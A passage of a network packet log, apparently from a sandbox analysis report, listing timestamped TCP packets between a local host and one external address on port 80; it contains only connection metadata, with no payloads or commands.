Jan 14, 2022 09:26:00.773605108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.773629904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.773777962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.773924112 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.773952961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774044037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774054050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774224043 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774235010 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774394989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774406910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774566889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774575949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774746895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774758101 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774924040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.774931908 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.775099039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.775108099 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.775270939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.775281906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.775449991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.775460958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.775628090 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.775638103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.775804996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.775815964 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.775902033 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776072025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776078939 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776242971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776252031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776428938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776438951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776606083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776618958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776779890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776792049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776949883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.776959896 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.777132988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.777151108 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.777307034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.777322054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.777481079 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.777498960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.777651072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.777668953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.777823925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.777829885 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.778001070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.778007984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.778177023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.778184891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.778347969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.778354883 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.778466940 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.778565884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.778645992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.779092073 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.779098988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.779270887 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.779277086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.779444933 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.779453039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.779620886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.779628038 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.779792070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.779798985 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.779983997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.790110111 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.790153980 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.790183067 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.790338039 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.790446043 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.790471077 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.790693998 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.790723085 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.790759087 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.792542934 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.792571068 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.792597055 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.792622089 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.793639898 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.793668985 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.793952942 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.793992996 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.794019938 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.794620991 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.794646978 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.794819117 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.796027899 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.796057940 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.796083927 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.796112061 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.796891928 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.808705091 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.810411930 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.815799952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.816236019 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.816819906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.816834927 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.817051888 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.817142963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.817255020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.817419052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.817622900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.817637920 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.817846060 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.817854881 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.818082094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.818166971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.818331957 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.818752050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.818886042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.819031954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.819041967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.819159031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.819341898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.819351912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.819521904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.819533110 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.819633961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.819776058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.819858074 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.819932938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.820034027 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.820173025 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.823211908 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.832663059 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.832962036 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.833188057 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.833467007 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.834259987 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.840684891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.840711117 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.840900898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.840910912 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.841124058 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.841136932 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.841325045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.841336966 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.841545105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.841557980 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.841769934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.841780901 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.841986895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.841995955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.842196941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.842206001 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.842415094 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.842422962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.842632055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.842639923 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.842850924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.842864037 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.843060970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.843071938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.843281031 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.843295097 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.843496084 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.843506098 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.843708992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.843718052 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.843919992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.843930006 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.844137907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.844146967 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.844352961 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.844362020 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.844571114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.844588041 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.844783068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.844793081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.845037937 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.845052958 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.845257044 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.845268965 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.845388889 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.845810890 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.845952034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.846148014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.846261024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.846484900 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.846755981 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.846800089 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.847064018 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.847187042 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.847296953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.847462893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.847582102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.847718000 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.847908974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.847920895 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.848097086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.848105907 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.848262072 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.848268986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.848293066 CET	80	49891	185.215.113.35	192.168.2.4
Jan 14, 2022 09:26:00.848433971 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.848442078 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.848659992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.848666906 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.848824024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.848830938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.848995924 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.849003077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.849158049 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.849164963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.849328995 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.849334955 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.849494934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.849503994 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.849899054 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.849909067 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850064039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850070953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850244045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850250959 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850404024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850410938 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850581884 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850588083 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850744963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850753069 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850919962 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.850925922 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851083040 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851089954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851258039 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851264954 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851422071 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851428986 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851598024 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851608992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851777077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851788998 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851967096 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.851979017 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.855422974 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.855667114 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.855690002 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.855715036 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.855895996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.855904102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.856072903 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.856080055 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.856318951 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.856327057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.856518984 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.856525898 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.856699944 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.856708050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.856888056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.856894970 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.857044935 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.857104063 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.857305050 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.857310057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.857486963 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.857495070 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.857687950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.857693911 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.857856989 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.857865095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858048916 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858056068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858232975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858241081 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858417034 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858424902 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858593941 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858601093 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858782053 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858789921 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858962059 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.858968973 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.859148979 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.859155893 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.859332085 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.859339952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.859519005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.859525919 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.859698057 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.859705925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.859888077 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.859894991 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.860069990 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.860076904 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.860256910 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.860263109 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.860439062 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.860446930 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.860624075 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.860631943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.860805988 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.860814095 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.861000061 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.861006975 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.861218929 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.861289978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.861423969 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.861614943 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.861829996 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.861838102 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862005949 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862011909 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862199068 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862206936 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862370014 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862377882 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862570047 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862579107 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862731934 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862739086 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862926960 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.862935066 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.863096952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.863104105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.863286972 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.863296032 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.863482952 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.863490105 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.863687992 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.863693953 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.863890886 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.863898993 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864070892 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864078045 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864259005 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864267111 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864437103 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864445925 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864624023 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864631891 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864814997 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864835978 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864990950 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.864999056 CET	49891	80	192.168.2.4	185.215.113.35
Jan 14, 2022 09:26:00.865165949 CET	49891	80	192.168.2.4	185.215.113.35
